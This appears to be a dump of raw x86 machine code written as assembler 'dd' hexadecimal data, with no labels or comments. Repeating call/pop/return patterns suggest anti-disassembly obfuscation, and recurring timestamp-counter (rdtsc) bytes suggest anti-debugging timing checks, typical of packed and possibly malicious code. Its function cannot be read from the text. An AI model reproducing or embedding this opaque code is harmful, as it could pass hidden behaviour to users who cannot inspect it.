		dd 6AF96Ah, 62EF8166h, 0F006A3Bh, 388h,	0D8B70F00h, 0D433858Dh
		dd 0B52905EEh, 5EA171Dh, 6A05C083h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 5631C351h
		dd 564737C8h, 0BCCBA816h, 0C99BD23h, 605005EAh,	0D8D0Fh
		dd 7E80000h, 0B5000000h, 0ED54F972h, 0E95A6D29h, 10h, 0ECF8CA4Ch
		dd 8E2C23C7h, 645665C7h, 0B92CC42Eh, 24048961h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EAC35545h, 0DB82AD57h
		dd 8BB37F40h, 6A006ADFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0F977C355h,	7467BAE7h
		dd 6ADE8Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 17h,	78C35747h, 660987F1h, 0A54AEF81h, 23E995FFh, 14E805EAh
		dd 36000000h, 0DF088802h, 0C200C014h, 0B78FFA97h, 0D5D91D5h
		dd 81AF7B82h, 7529C6CBh, 8D8D5B49h, 5EDD89Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 2EC35747h, 2DFBB2DEh
		dd 8F0FD86Ch, 6, 8C0Fh,	0C3810000h, 4B7B84D3h, 0B70FD1FFh
		dd 0D1BD83F8h, 105EA02h, 82850Fh, 810F0000h, 5,	9391EDBBh
		dd 0E1BD8B27h, 6A05EA29h, 52006A02h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 3E3D4F6Fh
		dd 78BB6605h, 860F904Eh, 0Ah, 0BF665250h, 310F5731h, 0BB50585Ah
		dd 6B0294A0h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9004DE0h,	9D8BF535h, 5EA10B1h, 163D95FFh
		dd 9D0305EAh, 5EA125Dh,	0D6CE9h, 0E800h, 815D0000h, 0EED43DEDh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 43798A74h, 8314A4BFh, 0E98D894Ch, 0BB05EA32h
		dd 730D70F8h, 0C387858Dh, 816605EDh, 0BBBCC6F3h, 5BDE2B33h
		dd 8948B350h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0AD6CF0C3h, 35FF6439h, 0
		dd 0B91BD8Bh, 896405EAh, 25h, 0FE900h, 13560000h, 39DACDABh
		dd 0FFF05E5Ah, 1A22CFB0h, 0DD8D8992h, 0FF05EA0Fh, 0EA1C4985h
		dd 1DF38105h, 6A48E045h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 10104802h, 0FDB5FF88h
		dd 905EA0Bh, 0EA0BF99Dh, 4995FF05h, 0E905EA14h,	164h, 2485B589h
		dd 0B005EAh, 880F70E6h,	14h, 0FE9h, 295D9500h, 0D95F817Dh
		dd 0F17428EBh, 7CB1064Bh, 0BD2971E4h, 5EA161Dh,	830F613Ch
		dd 130h, 0F9EF780h, 0AE9C8B6h, 0C8000000h, 0AFBC1B3Ch
		dd 0C4690AADh, 6BA61h, 14E80000h, 44000000h, 0E58E7A9Dh
		dd 2399BE28h, 737B769Eh, 0C7BFC543h, 8BA46EDCh,	0C18B5BFAh
		dd 0B3F88B66h, 4E8C123h, 0EBBF6660h, 11E9CDh, 0EA5D0000h
		dd 0F1680D93h, 5F0ED217h, 4F4CFE4Ch, 612F9850h,	0E9E2F766h
		dd 0Bh,	265A7117h, 0E979907Eh, 2BE4CC7Bh, 89D18BC8h, 0EA2995B5h
		dd 21953105h, 0E905EA0Bh, 6, 1CDDBD33h,	858B05EAh, 5EA0F21h
		dd 7C083F5h, 23D9B501h,	0C08305EAh, 13E800h, 4EF50000h
		dd 0EB620917h, 3A56A39Bh, 1A9EDFB2h, 0AB8FBE26h, 919D8BA9h
		dd 5F05EA06h, 148D9529h, 0D03B05EAh, 27830Fh, 9D0B0000h
		dd 5EA1531h, 5BE9h, 0CE800h, 0F2A0000h,	0FC695236h, 0E93CD67Ch
		dd 57604FC0h, 458D0959h, 6105EA2Fh, 0E18D8B5Fh,	6605EA20h
		dd 21DBCF81h, 0F01E183h, 2B84h,	91BB5700h, 5B2EB2D7h, 20E1A583h
		dd 8BFE05EAh, 0EA0C3D9Dh, 0A99D3105h, 8905EA1Eh, 0EA0F2195h
		dd 91852905h, 0E905EA0Bh, 0
		dd 3C09B58Dh, 8D0F05EEh, 4, 5EF6BB66h, 0CE9h, 0C935B500h
		dd 0B83E269Ah, 457F8229h, 6A006A41h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0DC6BC356h
		dd 5A595D2h, 11E8D797h,	8C000000h, 3AAC2EBCh, 7B72CF80h
		dd 3236AF3Fh, 0DCDAAED5h, 1D5D9D89h, 8B5B05EAh,	0EA1C69BDh
		dd 1595FF05h, 6A05EA10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 3FC352h, 64EE9E0Bh
		dd 95895006h, 5EA1D89h,	86CB95Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0F25C7DC3h
		dd 14359529h, 0E18305EAh, 6AFCF8FCh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0F506C351h
		dd 0E9564D16h, 0Ch, 62828A8Fh, 0D3353776h, 0E9E589FEh
		dd 0BBC02B5Bh, 46450A68h, 0F98BD22Bh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 6AF8B7h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 1AABDC3h, 0EA2A958Dh, 880D05h, 81660000h
		dd 8B8DBDDFh, 0EA0ADD95h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 83D0918h, 0F114B7Ah
		dd 1A8Eh, 11E800h, 6A9C0000h, 0C03223CDh, 188258FEh, 0ED38A4DFh
		dd 66BE5085h, 8B5BD98Bh, 0EA0ACD8Dh, 860F5705h,	4, 1D9BBB66h
		dd 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh
		dd 61FE8B66h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	40C35646h, 0A7FDD57Bh, 0E90CA3D9h, 0Fh,	0A9A81467h
		dd 1EA16E23h, 0F891F696h, 83A3069Dh, 0EA0819BDh, 840F0005h
		dd 75h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 91C35141h, 24D77DCFh, 0B841h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0CD644BC3h
		dd 890A08EDh, 0EA01719Dh, 4D9D8905h, 8D05EA1Ch,	0EA4C218Dh
		dd 14E905h, 69070000h, 0D0DCF15Fh, 0BC02A23Eh, 0A78BD844h
		dd 0C08EAF87h, 0E1FFAABAh, 0F5BD83F5h, 5EA25h, 42F840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0DE16E4C3h, 9D8B602Ah, 5EA1B0Dh, 83FA8B66h
		dd 0EA25F5BDh, 840F0105h, 414h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 88C35747h, 0D3EBFABBh, 3FB00F54h
		dd 0F5BD838Ah, 305EA25h, 3AC860Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 7F2AB7C3h
		dd 9D89877Dh, 5EA0EFDh,	3890F60h, 0F000000h, 8C66DEB7h
		dd 0D9BD31D9h, 8005EA17h, 0F78104E1h, 5F61E91Fh, 840FC90Ah
		dd 11Dh, 13E9BD8Bh, 858B05EAh, 5EA1629h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 79C35343h, 0F0A3DB81h
		dd 85330DC1h, 5EA1535h,	5BB5150h, 5F6D9A47h, 89240489h
		dd 0EA0A2DBDh, 23006A05h, 0EA0F619Dh, 4E805h, 3FF0000h
		dd 8B50001Fh, 50042444h, 11E952h, 0A2EF0000h, 0BC805189h
		dd 0E13FAD42h, 7540B26h, 0F8877C4h, 14E831h, 828A0000h
		dd 35377662h, 0E589FED3h, 0D2991FE9h, 8E5D18B0h, 5A5FDE06h
		dd 0BF008B58h, 5C337CD4h, 4244489h, 1D8A0Fh, 8D0F0000h
		dd 17h,	11E8h, 19B1ED00h, 0F385CE32h, 98FD8CFBh, 0BB918B52h
		dd 585F6B7Dh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	7BC35747h, 0DD84B6A8h, 0FF989813h, 0EA320D95h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8589361Eh, 5EDD9E0h, 171D9D33h, 0DFE905EAh
		dd 8B000001h, 0EA0741BDh, 0D8858B05h, 6A05EDD9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0C724C357h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0F781699Bh, 6C7E4E90h
		dd 0D9DCB58Bh, 6A05EDh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9D2396C3h, 5EA05A1h, 29E5858Bh
		dd 9D8B05EAh, 5EA2BF1h,	0FBBF6660h, 6870F73h, 8B000000h
		dd 0EA05BD8Dh, 6896105h, 7419D8Bh, 858B05EAh, 5EA1629h
		dd 870Fh, 46890000h, 57006A04h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 136D7120h, 0F7C896E8h
		dd 0BD8B81FDh, 5EA31A9h, 0CE9h,	0C7166F00h, 0B054E63Dh
		dd 91E2D64Ah, 8B51964Ch, 66505BFBh, 8996D98Bh, 0EA0B919Dh
		dd 0D8B5FF05h, 6A05EDD9h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 2E91C350h, 4CCF812Fh
		dd 0E850E417h, 4, 1F03FFh, 0A1C1BF66h, 24448B50h, 0FE8B6604h
		dd 0BF66008Bh, 44894E8Ah, 8B660424h, 0F78058DAh, 0E0858D3Fh
		dd 6A05EDD9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 45EC353h, 0B7B2420Bh, 9049E29Eh
		dd 0FE8h, 4A5A8D00h, 651DA848h,	5AD9FC74h, 20587C7Eh, 0A65EBB66h
		dd 5250505Bh, 830F60h, 50000000h, 5A310F52h, 310F6158h
		dd 585A7DB7h, 29858990h, 8005EA2Fh, 95FFE4F3h, 5EA320Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4BC35747h
		dd 798BFA5Bh, 0CBBECAE2h, 2E6D9D8Bh, 336105EAh,	0EA22FDBDh
		dd 0F585C705h, 305EA25h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 42E1C350h
		dd 28E59D29h, 0BD8305EAh, 5EDD9E0h, 2B840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 660EC356h, 28D0Fh, 1FB70000h, 1CE9h, 3050FC00h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 9E9C0h, 0DE530000h, 1999E45Dh, 66AA83CAh, 8B2E88BFh
		dd 0EA1CED9Dh, 0F5BD8305h, 305EA25h, 3E4850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 4AC833C3h, 5DBD895Eh, 8B05EA15h, 0E0BD83DAh,	5EDD9h
		dd 3B0840Fh, 0BD890000h, 5EA034Dh, 0D9E0B5FFh, 6A05EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0BA805FC3h, 8E8h, 852A6500h,	28637CD7h, 95FF5B9Ch, 5EA128Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A8C35141h
		dd 0A0572732h, 0BCC7DFF1h, 0AE9DBh, 0F2C70000h,	6A737492h
		dd 28C6CA1Ah, 0D9D4B58Bh, 0BD8B05EDh, 5EA1B49h,	106C7h
		dd 0C3810001h, 53FEE243h, 50605050h, 5A310F52h,	895F6158h
		dd 0FFF92434h, 0EDD9E0B5h, 95FFF905h, 5EA3269h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E5C35747h, 9089A344h
		dd 17890Fh
		dd 870F0000h, 11h, 0CE9h, 0FC628000h, 9B62998Fh, 0BFB39098h
		dd 0D4B58BE5h, 0E905EDD9h, 0Ch,	2E7A3DF3h, 75C79E82h, 63320C4Ch
		dd 881858Bh, 896005EAh,	0EA16E99Dh, 8E805h, 8DF40000h
		dd 0D090DF64h, 9589F942h, 5EA1C91h, 8689615Fh, 0C4h, 0ADD958Bh
		dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0DE630AC3h, 29B783ADh, 0EA20819Dh, 559D8905h
		dd 8305EA0Bh, 0DE804C2h, 75000000h, 0C4935377h,	951388F3h
		dd 8CE5AA5Ch, 8979BF66h, 2050895Fh, 3149BD29h, 858D05EAh
		dd 5EDEB67h, 0B88689F8h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DFB0C350h
		dd 0E5BBD70Ch, 6A64A63Bh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 34F08DC8h
		dd 0EE7AFDE6h, 2D9D2948h, 0FF05EA07h, 0EDD9E0B5h, 68D0F05h
		dd 8B000000h, 0EA2BD99Dh, 3D95FF05h, 6A05EA16h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 64BCC356h, 0FB8592Ch, 0E896F8B7h, 6,	9B495796h, 0ABBFB939h
		dd 5F772299h, 3820F50h,	66000000h, 0E996DF8Bh, 5, 6F7E1F98h
		dd 0C0EB80A7h, 0D9E0B5FFh, 14E905EDh, 0FA000000h, 0A0C51A07h
		dd 0A729079Fh, 0E485F945h, 5B3B601h, 0FF2D3E95h, 0EA15A995h
		dd 31B50105h, 8B05EA13h, 0EA19EDBDh, 5DBD8305h,	5EA11h
		dd 31840Fh, 0BF660000h,	0BD037313h, 5EA0C89h, 1C880F50h
		dd 50000000h, 0F525052h, 0F585A31h, 0BE931h, 1EE00000h
		dd 96FA6C87h, 90691EEAh, 89585A7Ah, 0FFF92434h,	0EDD9E0B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7C6157FEh, 9746045h, 89DA8B66h, 0EA06CDBDh
		dd 0C995FF05h, 0F05EA1Ch, 680h,	1D8D0900h, 0FF05EA33h
		dd 0EDD9E0B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 8D84663Bh, 16D04474h
		dd 9AF38166h, 0FE9DDh, 30860000h, 2FA7A37Ah, 42210CF1h
		dd 810F8B60h, 0D95FFF9h, 8105EA23h, 66CB4EE7h, 31BD832Eh
		dd 205EA06h, 3B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 5AA431C3h, 8D0FF85Bh
		dd 4, 0C39FBF66h, 0C95858Bh, 0DD8A05EAh, 890000C6h, 0EA2B1595h
		dd 7D85C705h, 5EA09h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 811FC355h, 25B5B501h
		dd 78E905EAh, 0BFFFFFF3h, 51978E8Ch, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 5305D9C3h
		dd 0E24DDA79h, 0E9FA8B56h, 9, 4FE21CF5h, 74F1E716h, 8D858DE8h
		dd 6A05EA29h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 3968C357h, 35EDA838h, 8B906871h
		dd 38B350F9h, 0C1858990h, 6A05EA30h, 6AC0B300h,	2840F00h
		dd 8B000000h, 74858DD8h, 8005EEE3h, 0C08303F7h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 634D958Ah, 0D878D84Bh, 8B6690DFh, 10E950F8h,	0B8000000h
		dd 0F90F93CCh, 0DC3BC8Fh, 49F14298h, 908D34ADh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 3DC35646h, 6A86EE90h
		dd 6AB2B700h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 355B8CD9h, 817E429Fh, 0B7F97DC7h
		dd 559D8929h, 0FF05EA08h, 0EA23E995h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0E3816612h, 8D8D1986h, 5EDD89Dh, 2B459D89h, 0D1FF05EAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 65C35242h
		dd 0FF110954h, 5602EB2Bh, 7E59D8Bh, 835B05EAh, 0EA02D1BDh
		dd 850F0105h, 81h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 8AC35343h, 1BC59589h,	26A05EAh, 31118D31h
		dd 569005EAh, 5FDE8B66h, 11E850h, 0FE7E0000h, 0D0BEA18Eh
		dd 0EBB58580h, 0E98044A4h, 5B012C2Ch, 53006A90h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 89F8B33Bh, 0EA1229BDh, 3D95FF05h, 0F05EA16h,	884h, 85895200h
		dd 5EA1265h, 0F66E95Fh,	0E80000h, 5D000000h, 0E37EED81h
		dd 6A05EEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6735B3C3h, 0B3A777F9h, 52C72BBh, 52006A30h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 858DC06Ch, 5EDC387h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 21C35545h, 0DBB70FC9h, 66525090h, 0F5181BBh
		dd 8B666031h, 585A61F7h, 810F6050h, 6, 310F5250h, 0CE8B585Ah
		dd 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 98A89DC3h, 13E9h,	209D5A00h, 6E2100F5h, 97D27697h
		dd 0CE0DD1CAh, 0A3C49CEh, 35FF64h, 0BF000000h, 10D686Eh
		dd 258964h, 66000000h, 10FD381h, 1C4985FFh, 0FF6A05EAh
		dd 281BD0Bh, 0E85205EAh, 12h, 13C2E4F0h, 9DDBC597h, 7CD353B7h
		dd 4E26AA5Fh, 95897E82h, 5EA09E5h, 0B5FF5F5Fh, 5EA0BF5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ECC35646h
		dd 2D8D5F95h, 9589753Eh, 5EA1429h, 144995FFh, 19E905EAh
		dd 8B000001h, 0EA15559Dh, 0F00B005h, 28Ah, 0E6FE8A00h
		dd 9725BB70h, 71E47EF6h, 17F5BD33h, 613C05EAh, 0F2830Fh
		dd 0BF0F0000h, 0C8B60FDBh, 0BAF98B66h, 6, 3FF78152h, 5F4FAFB9h
		dd 7E8h, 25910D00h, 2ED2F797h, 8B5BD1B7h, 0AC2ABBC1h, 0E96038D3h
		dd 0Bh,	0EE9B08E4h, 0CBA1459Fh,	804647A7h, 0C1616FCAh
		dd 0B52904E8h, 5EA00EDh, 66E2F766h, 5F80DB81h, 0D18BC82Bh
		dd 0B9D38166h, 92E957h,	0BD8B0000h, 5EA2E11h, 8858Bh, 0D7810000h
		dd 15E2F6B4h, 0E807C083h, 0Fh, 50EC1351h, 0F22E6A3Fh, 0CFB581B3h
		dd 60876E51h, 24F1BD01h, 950905EAh, 5EA076Dh, 0C0835B61h
		dd 71852900h, 3B05EA20h, 0B830FD0h, 80000000h, 41E9F5D7h
		dd 66000000h, 8D8BD98Bh, 0FFFFFFFFh, 68B0Fh, 9D0B0000h
		dd 5EA23F5h, 0F01E183h,	2384h, 8B666000h, 0A58361DEh, 0FFFFFFFFh
		dd 65BD31FEh, 8905EA12h, 895h, 0E1C78100h, 0E9796569h
		dd 0
		dd 6372B58Dh, 6A05EEh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 3363B5C3h, 0E5847EB2h, 0B36060E6h
		dd 8D0F61FAh, 18h, 12E8h, 0EE5FE000h, 3751D61Bh, 0E5533126h
		dd 0E24B7DDBh, 58AC8374h, 0BB006A61h, 6A369159h, 101595FFh
		dd 9D8B05EAh, 5EA1655h,	1028B9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8979CD38h
		dd 0EA1B6185h, 0FCE18305h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 7CC35646h, 0FC5ECB80h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 29C35141h, 698C478Dh
		dd 6C3B71A6h, 0E8C02B4Eh, 0Eh, 85FA1500h, 9744C967h, 70EE92FCh
		dd 85897BBDh, 5EA0365h,	6AD22B5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 283FC353h
		dd 0F927C58h, 28Bh, 6674B700h, 0ADABB3BBh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 7E56C351h, 0ACA2F840h
		dd 46B76AEEh, 10E96060h, 6C000000h, 4D49D10Eh, 343BD9CFh
		dd 22C41443h, 667929F1h, 613B03BAh, 310D9D89h, 0E96105EAh
		dd 10h,	736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h, 880Dh
		dd 958BFC00h, 5EA0ADDh,	31399589h, 8D8B05EAh, 5EA0ACDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1CC35646h
		dd 0C28B50B4h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0ADC5C352h, 17E99531h, 0BD8905EAh, 5EA2C29h
		dd 0C2E3C781h, 2BF0584h, 8366BD72h, 0EA0819BDh,	840F0005h
		dd 0A5h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	84C35343h, 0C64472EEh, 0E901EC72h, 0Bh,	80DA7AC1h
		dd 4F8DA1AFh, 31EF406Bh, 0EA15D99Dh, 0B805h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0CBC9E4C3h, 218D8D0Fh, 6A05EA4Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 5EEBC350h
		dd 15259D8Bh, 0E1FF05EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 3DC35646h, 0F5BD83A4h, 5EA25h, 500840Fh
		dd 95890000h, 5EA3259h,	25F5BD83h, 0F0105EAh, 50884h, 0DF816600h
		dd 0BD83F569h, 5EA25F5h, 0C0860F03h, 6A000004h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0F4E8C357h, 3B2CDE40h, 13C98D29h, 6A6005EAh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 9C3FC355h, 97F28A5Fh, 60A605EAh, 6E9h, 0C9B55300h, 610E771Ah
		dd 2C118D89h, 8C6605EAh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 73A2A999h, 8BC9E158h
		dd 68B0FDEh, 23000000h,	0EA2BE59Dh, 4E18005h, 11E8h, 0EDBCA100h
		dd 4EC71121h, 70E7DF51h, 0B69EE33Ch, 0B529B1E2h, 5EA3171h
		dd 0FC90A5Fh, 15284h, 74C38100h, 8B793EBFh, 0EA162985h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0ECE5CA33h, 0D78166F8h, 0B70FC943h, 358533D9h
		dd 6A05EA15h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0B21FC351h, 5059C7B2h,	48940B3h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 59B350Fh, 1AB004CDh, 81006AF8h, 0F0104CF7h
		dd 12716819h, 525078FEh, 5BBAE8BBh, 66310F0Dh, 5A4B51BFh
		dd 24348158h, 78E1118Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4BC35646h, 655E8939h,	0C01EC377h, 7B99589h
		dd 95FF05EAh, 5EA320Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C9C35040h, 0E8E6B91Fh, 14E91253h, 1B000000h
		dd 613C0E31h, 87E77C3Bh, 9001B66Fh, 81DD5202h, 895AA3BFh
		dd 0EDD9E085h, 8D0F05h,	0E9000000h, 252h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 0BBC35545h, 6840F7Dh
		dd 8B000000h, 0EA2EE19Dh, 0D19D8B05h, 8B05EA28h, 0EDD9D885h
		dd 12890F05h, 53000000h, 0BE9h,	3543A300h, 4AF9E0F7h, 63C6555h
		dd 1800C75Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 4886C353h, 719D8B34h
		dd 8B05EA2Ch, 0EDD9DCB5h, 0E5858B05h, 0F05EA29h, 687h
		dd 0BD8D8900h, 8905EA06h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0AEE87B55h
		dd 664EAAB7h, 858BDA8Bh, 5EA1629h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 1C35646h, 14A1BD8Bh, 468905EAh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 65FAF592h, 0C842792Bh, 0BD29CAE3h, 5EA1DD1h
		dd 0DE9h, 0DE908D00h, 7395387Ch, 53D02735h, 0E896B91Ah
		dd 0Bh,	656E5F60h, 0F6CD0F07h, 0B3C6E07Eh, 96505FC0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8CC35242h, 0BDDB25CDh
		dd 0FF46F9E4h, 0EDD9D8B5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 427D702Eh
		dd 0B11E0224h, 4E8E4h, 3FF0000h, 33BB001Fh, 5051F6EDh
		dd 448BF88Bh, 8B0424h, 12E9h, 0B934B900h, 0E19036DDh, 0AA3B0711h
		dd 0A00CBAEAh, 891AEE9Ch, 66042444h, 58D7C3BBh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 20C35545h, 6692795Bh
		dd 0D2B3F98Bh, 0D9E0858Dh, 870F05EDh, 1, 8E0F90F8h, 2
		dd 8B5079B3h, 6A90FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 6C88C6C3h, 3231BD8Bh, 10E905EAh
		dd 0F000000h, 878EECF1h, 0FC5C079Ch, 3BF345E1h,	0FFFA05B6h
		dd 0EA320D95h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 6A610A2Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6246C352h
		dd 7C659512h, 132C7669h, 87F38166h, 0F585C77Bh,	305EA25h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 6339C353h, 0A287C417h,	0BD83FF71h
		dd 5EDD9E0h, 2C840F00h,	89000000h, 0EA29A585h, 3CE905h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 7A6D2EC3h, 50E152FEh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 932C2C3h
